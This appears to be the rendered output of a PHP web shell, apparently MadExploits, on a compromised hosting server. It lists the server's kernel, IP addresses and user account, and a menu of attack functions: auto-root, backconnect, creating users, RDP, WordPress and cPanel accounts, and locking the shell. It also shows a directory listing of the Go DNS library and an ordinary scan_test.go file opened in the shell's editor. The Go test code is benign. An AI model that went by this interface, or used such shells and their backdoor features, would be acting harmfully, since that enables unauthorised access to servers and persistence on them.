Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
miekg /
dns@v1.1.41 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
dnsutil
[ DIR ]
dr-xr-xr-x
.codecov.yml
128
B
-r--r--r--
.gitignore
24
B
-r--r--r--
AUTHORS
27
B
-r--r--r--
CODEOWNERS
18
B
-r--r--r--
CONTRIBUTORS
150
B
-r--r--r--
COPYRIGHT
512
B
-r--r--r--
LICENSE
1.58
KB
-r--r--r--
Makefile.fuzz
671
B
-r--r--r--
Makefile.release
992
B
-r--r--r--
README.md
5.83
KB
-r--r--r--
acceptfunc.go
1.83
KB
-r--r--r--
acceptfunc_test.go
859
B
-r--r--r--
client.go
13.88
KB
-r--r--r--
client_test.go
16.25
KB
-r--r--r--
clientconfig.go
3.3
KB
-r--r--r--
clientconfig_test.go
4.63
KB
-r--r--r--
dane.go
997
B
-r--r--r--
defaults.go
10.3
KB
-r--r--r--
dns.go
4.34
KB
-r--r--r--
dns_bench_test.go
9.42
KB
-r--r--r--
dns_test.go
9.95
KB
-r--r--r--
dnssec.go
18.32
KB
-r--r--r--
dnssec_keygen.go
3.1
KB
-r--r--r--
dnssec_keyscan.go
6.16
KB
-r--r--r--
dnssec_privkey.go
2.27
KB
-r--r--r--
dnssec_test.go
28.57
KB
-r--r--r--
doc.go
10.54
KB
-r--r--r--
duplicate.go
953
B
-r--r--r--
duplicate_generate.go
3.95
KB
-r--r--r--
duplicate_test.go
3.77
KB
-r--r--r--
dyn_test.go
37
B
-r--r--r--
edns.go
19.69
KB
-r--r--r--
edns_test.go
3.09
KB
-r--r--r--
example_test.go
3.12
KB
-r--r--r--
format.go
2.4
KB
-r--r--r--
format_test.go
279
B
-r--r--r--
fuzz.go
536
B
-r--r--r--
fuzz_test.go
7.54
KB
-r--r--r--
generate.go
4.97
KB
-r--r--r--
generate_test.go
6.93
KB
-r--r--r--
go.mod
210
B
-r--r--r--
go.sum
1
KB
-r--r--r--
issue_test.go
1.19
KB
-r--r--r--
labels.go
4.11
KB
-r--r--r--
labels_test.go
7.88
KB
-r--r--r--
leak_test.go
1.81
KB
-r--r--r--
length_test.go
20.49
KB
-r--r--r--
listen_go111.go
881
B
-r--r--r--
listen_go_not111.go
485
B
-r--r--r--
msg.go
31.99
KB
-r--r--r--
msg_generate.go
10.22
KB
-r--r--r--
msg_helpers.go
21.54
KB
-r--r--r--
msg_helpers_test.go
11.86
KB
-r--r--r--
msg_test.go
9.12
KB
-r--r--r--
msg_truncate.go
3.4
KB
-r--r--r--
msg_truncate_test.go
5
KB
-r--r--r--
nsecx.go
2.38
KB
-r--r--r--
nsecx_test.go
4.77
KB
-r--r--r--
parse_test.go
65.88
KB
-r--r--r--
privaterr.go
3.23
KB
-r--r--r--
privaterr_test.go
3.51
KB
-r--r--r--
reverse.go
1.32
KB
-r--r--r--
rr_test.go
191
B
-r--r--r--
sanitize.go
1.98
KB
-r--r--r--
sanitize_test.go
2
KB
-r--r--r--
scan.go
29.12
KB
-r--r--r--
scan_rr.go
40.59
KB
-r--r--r--
scan_test.go
8.88
KB
-r--r--r--
serve_mux.go
3.37
KB
-r--r--r--
serve_mux_test.go
1.63
KB
-r--r--r--
server.go
21.53
KB
-r--r--r--
server_test.go
31.38
KB
-r--r--r--
sig0.go
4.59
KB
-r--r--r--
sig0_test.go
2.23
KB
-r--r--r--
singleinflight.go
1.56
KB
-r--r--r--
smimea.go
1.33
KB
-r--r--r--
svcb.go
19.95
KB
-r--r--r--
svcb_test.go
2.48
KB
-r--r--r--
tlsa.go
1.1
KB
-r--r--r--
tsig.go
10.98
KB
-r--r--r--
tsig_test.go
10.75
KB
-r--r--r--
types.go
36.03
KB
-r--r--r--
types_generate.go
8.63
KB
-r--r--r--
types_test.go
4.31
KB
-r--r--r--
udp.go
2.9
KB
-r--r--r--
udp_test.go
4.41
KB
-r--r--r--
udp_windows.go
1.15
KB
-r--r--r--
update.go
3.08
KB
-r--r--r--
update_test.go
4.38
KB
-r--r--r--
version.go
275
B
-r--r--r--
version_test.go
180
B
-r--r--r--
xfr.go
6.57
KB
-r--r--r--
xfr_test.go
2.72
KB
-r--r--r--
zduplicate.go
20.23
KB
-r--r--r--
zmsg.go
59.75
KB
-r--r--r--
ztypes.go
29.52
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : scan_test.go
package dns import ( "io" "io/ioutil" "net" "os" "strings" "testing" ) func TestZoneParserGenerate(t *testing.T) { zone := "$ORIGIN example.org.\n$GENERATE 10-12 foo${2,3,d} IN A 127.0.0.$" wantRRs := []RR{ &A{Hdr: RR_Header{Name: "foo012.example.org."}, A: net.ParseIP("127.0.0.10")}, &A{Hdr: RR_Header{Name: "foo013.example.org."}, A: net.ParseIP("127.0.0.11")}, &A{Hdr: RR_Header{Name: "foo014.example.org."}, A: net.ParseIP("127.0.0.12")}, } wantIdx := 0 z := NewZoneParser(strings.NewReader(zone), "", "") for rr, ok := z.Next(); ok; rr, ok = z.Next() { if wantIdx >= len(wantRRs) { t.Fatalf("expected %d RRs, but got more", len(wantRRs)) } if got, want := rr.Header().Name, wantRRs[wantIdx].Header().Name; got != want { t.Fatalf("expected name %s, but got %s", want, got) } a, okA := rr.(*A) if !okA { t.Fatalf("expected *A RR, but got %T", rr) } if got, want := a.A, wantRRs[wantIdx].(*A).A; !got.Equal(want) { t.Fatalf("expected A with IP %v, but got %v", got, want) } wantIdx++ } if err := z.Err(); err != nil { t.Fatalf("expected no error, but got %s", err) } if wantIdx != len(wantRRs) { t.Errorf("too few records, expected %d, got %d", len(wantRRs), wantIdx) } } func TestZoneParserInclude(t *testing.T) { tmpfile, err := ioutil.TempFile("", "dns") if err != nil { t.Fatalf("could not create tmpfile for test: %s", err) } defer os.Remove(tmpfile.Name()) if _, err := tmpfile.WriteString("foo\tIN\tA\t127.0.0.1"); err != nil { t.Fatalf("unable to write content to tmpfile %q: %s", tmpfile.Name(), err) } if err := tmpfile.Close(); err != nil { t.Fatalf("could not close tmpfile %q: %s", tmpfile.Name(), err) } zone := "$ORIGIN example.org.\n$INCLUDE " + tmpfile.Name() + "\nbar\tIN\tA\t127.0.0.2" var got int z := NewZoneParser(strings.NewReader(zone), "", "") z.SetIncludeAllowed(true) for rr, ok := z.Next(); ok; _, ok = z.Next() { switch rr.Header().Name { case "foo.example.org.", "bar.example.org.": default: t.Fatalf("expected foo.example.org. or bar.example.org., but got %s", rr.Header().Name) } got++ } if err := z.Err(); err != nil { t.Fatalf("expected no error, but got %s", err) } if expected := 2; got != expected { t.Errorf("failed to parse zone after include, expected %d records, got %d", expected, got) } os.Remove(tmpfile.Name()) z = NewZoneParser(strings.NewReader(zone), "", "") z.SetIncludeAllowed(true) z.Next() if err := z.Err(); err == nil || !strings.Contains(err.Error(), "failed to open") || !strings.Contains(err.Error(), tmpfile.Name()) || !strings.Contains(err.Error(), "no such file or directory") { t.Fatalf(`expected error to contain: "failed to open", %q and "no such file or directory" but got: %s`, tmpfile.Name(), err) } } func TestZoneParserIncludeDisallowed(t *testing.T) { tmpfile, err := ioutil.TempFile("", "dns") if err != nil { t.Fatalf("could not create tmpfile for test: %s", err) } defer os.Remove(tmpfile.Name()) if _, err := tmpfile.WriteString("foo\tIN\tA\t127.0.0.1"); err != nil { t.Fatalf("unable to write content to tmpfile %q: %s", tmpfile.Name(), err) } if err := tmpfile.Close(); err != nil { t.Fatalf("could not close tmpfile %q: %s", tmpfile.Name(), err) } zp := NewZoneParser(strings.NewReader("$INCLUDE "+tmpfile.Name()), "example.org.", "") for _, ok := zp.Next(); ok; _, ok = zp.Next() { } const expect = "$INCLUDE directive not allowed" if err := zp.Err(); err == nil || !strings.Contains(err.Error(), expect) { t.Errorf("expected error to contain %q, got %v", expect, err) } } func TestZoneParserAddressAAAA(t *testing.T) { tests := []struct { record string want *AAAA }{ { record: "1.example.org. 600 IN AAAA ::1", want: &AAAA{Hdr: RR_Header{Name: "1.example.org."}, AAAA: net.IPv6loopback}, }, { record: "2.example.org. 600 IN AAAA ::FFFF:127.0.0.1", want: &AAAA{Hdr: RR_Header{Name: "2.example.org."}, AAAA: net.ParseIP("::FFFF:127.0.0.1")}, }, } for _, tc := range tests { got, err := NewRR(tc.record) if err != nil { t.Fatalf("expected no error, but got %s", err) } aaaa, ok := got.(*AAAA) if !ok { t.Fatalf("expected *AAAA RR, but got %T", got) } if !aaaa.AAAA.Equal(tc.want.AAAA) { t.Fatalf("expected AAAA with IP %v, but got %v", tc.want.AAAA, aaaa.AAAA) } } } func TestZoneParserAddressBad(t *testing.T) { records := []string{ "1.bad.example.org. 600 IN A ::1", "2.bad.example.org. 600 IN A ::FFFF:127.0.0.1", "3.bad.example.org. 600 IN AAAA 127.0.0.1", } for _, record := range records { const expect = "bad A" if got, err := NewRR(record); err == nil || !strings.Contains(err.Error(), expect) { t.Errorf("NewRR(%v) = %v, want err to contain %q", record, got, expect) } } } func TestParseTA(t *testing.T) { rr, err := NewRR(` Ta 0 0 0`) if err != nil { t.Fatalf("expected no error, but got %s", err) } if rr == nil { t.Fatal(`expected a normal RR, but got nil`) } } var errTestReadError = &Error{"test error"} type errReader struct{} func (errReader) Read(p []byte) (int, error) { return 0, errTestReadError } func TestParseZoneReadError(t *testing.T) { rr, err := ReadRR(errReader{}, "") if err == nil || !strings.Contains(err.Error(), errTestReadError.Error()) { t.Errorf("expected error to contain %q, but got %v", errTestReadError, err) } if rr != nil { t.Errorf("expected a nil RR, but got %v", rr) } } func TestUnexpectedNewline(t *testing.T) { zone := ` example.com. 60 PX 1000 TXT 1K ` zp := NewZoneParser(strings.NewReader(zone), "example.com.", "") for _, ok := zp.Next(); ok; _, ok = zp.Next() { } const expect = `dns: unexpected newline: "\n" at line: 2:18` if err := zp.Err(); err == nil || err.Error() != expect { t.Errorf("expected error to contain %q, got %v", expect, err) } // Test that newlines inside braces still work. zone = ` example.com. 60 PX ( 1000 TXT 1K ) ` zp = NewZoneParser(strings.NewReader(zone), "example.com.", "") var count int for _, ok := zp.Next(); ok; _, ok = zp.Next() { count++ } if count != 1 { t.Errorf("expected 1 record, got %d", count) } if err := zp.Err(); err != nil { t.Errorf("unexpected error: %v", err) } } func TestParseRFC3597InvalidLength(t *testing.T) { // We need to space separate the 00s otherwise it will exceed the maximum token size // of the zone lexer. _, err := NewRR("example. 3600 CLASS1 TYPE1 \\# 65536 " + strings.Repeat("00 ", 65536)) if err == nil { t.Error("should not have parsed excessively long RFC3579 record") } } func TestParseKnownRRAsRFC3597(t *testing.T) { t.Run("with RDATA", func(t *testing.T) { // This was found by oss-fuzz. _, err := NewRR("example. 3600 tYpe44 \\# 03 75 0100") if err != nil { t.Errorf("failed to parse RFC3579 format: %v", err) } rr, err := NewRR("example. 3600 CLASS1 TYPE1 \\# 4 7f000001") if err != nil { t.Fatalf("failed to parse RFC3579 format: %v", err) } if rr.Header().Rrtype != TypeA { t.Errorf("expected TypeA (1) Rrtype, but got %v", rr.Header().Rrtype) } a, ok := rr.(*A) if !ok { t.Fatalf("expected *A RR, but got %T", rr) } localhost := net.IPv4(127, 0, 0, 1) if !a.A.Equal(localhost) { t.Errorf("expected A with IP %v, but got %v", localhost, a.A) } }) t.Run("without RDATA", func(t *testing.T) { rr, err := NewRR("example. 3600 CLASS1 TYPE1 \\# 0") if err != nil { t.Fatalf("failed to parse RFC3579 format: %v", err) } if rr.Header().Rrtype != TypeA { t.Errorf("expected TypeA (1) Rrtype, but got %v", rr.Header().Rrtype) } a, ok := rr.(*A) if !ok { t.Fatalf("expected *A RR, but got %T", rr) } if len(a.A) != 0 { t.Errorf("expected A with empty IP, but got %v", a.A) } }) } func BenchmarkNewRR(b *testing.B) { const name1 = "12345678901234567890123456789012345.12345678.123." const s = name1 + " 3600 IN MX 10 " + name1 for n := 0; n < b.N; n++ { _, err := NewRR(s) if err != nil { b.Fatal(err) } } } func BenchmarkReadRR(b *testing.B) { const name1 = "12345678901234567890123456789012345.12345678.123." const s = name1 + " 3600 IN MX 10 " + name1 + "\n" for n := 0; n < b.N; n++ { r := struct{ io.Reader }{strings.NewReader(s)} // r is now only an io.Reader and won't benefit from the // io.ByteReader special-case in zlexer.Next. _, err := ReadRR(r, "") if err != nil { b.Fatal(err) } } } const benchZone = ` foo. IN A 10.0.0.1 ; this is comment 1 foo. IN A ( 10.0.0.2 ; this is comment 2 ) ; this is comment 3 foo. IN A 10.0.0.3 foo. IN A ( 10.0.0.4 ); this is comment 4 foo. IN A 10.0.0.5 ; this is comment 5 foo. IN A 10.0.0.6 foo. IN DNSKEY 256 3 5 AwEAAb+8l ; this is comment 6 foo. IN NSEC miek.nl. TXT RRSIG NSEC; this is comment 7 foo. IN TXT "THIS IS TEXT MAN"; this is comment 8 ` func BenchmarkZoneParser(b *testing.B) { for n := 0; n < b.N; n++ { zp := NewZoneParser(strings.NewReader(benchZone), "example.org.", "") for _, ok := zp.Next(); ok; _, ok = zp.Next() { } if err := zp.Err(); err != nil { b.Fatal(err) } } }
Close